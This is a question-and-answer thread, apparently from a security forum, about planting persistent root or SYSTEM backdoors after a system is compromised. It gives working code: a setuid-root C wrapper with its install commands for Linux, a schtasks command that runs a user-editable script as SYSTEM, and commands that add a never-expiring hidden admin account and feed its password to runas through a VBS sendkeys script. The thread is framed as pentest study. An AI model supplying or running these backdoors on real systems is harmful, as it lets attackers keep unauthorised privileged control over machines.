How to backdoor windows?

Question

Studing pentest, I was astonished by how easy it was to backdoor a Linux machine after I got root. I just needed to compile a program like this:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main (int argc, char **argv){
    setresuid(0,0,0);
    system(argv[1]);
}

And then run these commands:

chown root:root backdoor
chmod 4755 backdoor

So now, any user can execute commands as root by using the backdoor:

./backdoor whoami

However, I don't see any easy solution on how to backdoor a windows system like I did with linux. So I want to do this lame question:

How can I backdoor a windows system after I get the root equivalent (NT AUTHORITY\SYSTEM)?

Answer 1

First of all, you and I seem to have different understanding of "backdoor". For me, if anyone speaks about a backdoor, I imagine something allowing the attacker to control the machine remotely - for example, a trojan, or RAT, or user account they can use to log in, or webshell etc.

What you are talking is something different - how to be able to run an arbitrary command as administrator (or NT AUTHORITY\SYSTEM).

There are multiple ways of course; the first thing popping into my mind is to create a scheduled task that would run any 5 minutes and execute a CMD script located in a folder accessible to the user (%temp% would do just great - however, in my example I've used a path which is a bit easier to access).

schtasks /create /tn "TestBackdoor" /sc minute /mo 5 /tr "C:\temp\test.cmd" /RU System

Then the user can just create or edit this file, putting any command he likes - it will be executed when the scheduled task runs. For example,

mkdir "C:\temp\btest"

Not a perfect backdoor and quite noisy also - but it's simple, and I thought the key question here was simplicity.

Credit for help with commands to create a scheduled task goes to:

https://superuser.com/questions/850299/windows-scheduler-that-runs-every-x-minutes-daily-on-the-command-line

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create#to-schedule-a-task-that-runs-with-system-permissions

Answer 2

I find another way to do this.

First, create a user

NET USER myuser pass /EXPIRES:NEVER /PASSWORDCHG:NO /TIMES:ALL /WORKSTATIONS:* /ADD

Next, add him to the local admin group

NET LOCALGROUP Administrators myuser /ADD

Now I need to impersonate the user, but runas will always ask for the password. Luckily, I find this tip.

echo Set x=CreateObject("wscript.shell")>C:\windows\temp\pass.vbs
echo wscript.sleep 1000   >>C:\windows\temp\pass.vbs
echo x.sendkeys "pass"    >>C:\windows\temp\pass.vbs
echo x.sendkeys "{enter}" >>C:\windows\temp\pass.vbs
start C:\windows\temp\pass.vbs
runas /user:myuser "cmd.exe /c whoami>C:\windows\temp\res.txt"

Or in one line:

echo Set x=CreateObject("wscript.shell"):wscript.sleep 1000:x.sendkeys "pass":x.sendkeys "{enter}">C:\windows\temp\pass.vbs && start C:\windows\temp\pass.vbs && runas /user:myuser "cmd.exe /c whoami>C:\windows\temp\res.txt" && type C:\windows\temp\res.txt

Well, this look like the SUID version in windows.